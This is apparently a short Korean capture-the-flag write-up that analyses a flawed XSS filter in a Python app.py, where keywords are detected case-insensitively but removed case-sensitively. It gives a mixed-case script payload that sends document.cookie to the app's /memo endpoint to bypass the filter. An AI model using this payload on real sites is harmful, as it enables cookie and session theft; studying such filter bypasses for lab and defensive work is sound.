먼저 문제파일 속 app.py를 살펴본다.

그 중에서도 코드에서 xss의 취약점을 보자.

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

=> 대소문자가 섞인 키워드는 감지는 되지만 제거되지 않는다. (원본에도 있어야 함.)

즉, 전체 시나리오는 이러하다.

<상황>

<공격 단계>

1단계: 악성 코드 준비

<ScRiPt>fetch('/memo?memo='+document.cookie)</ScRiPt>

2단계: 필터 통과

필터는 "script"를 찾지만, "ScRiPt"는 원본에 "script"가 없어 제거되지 않는다.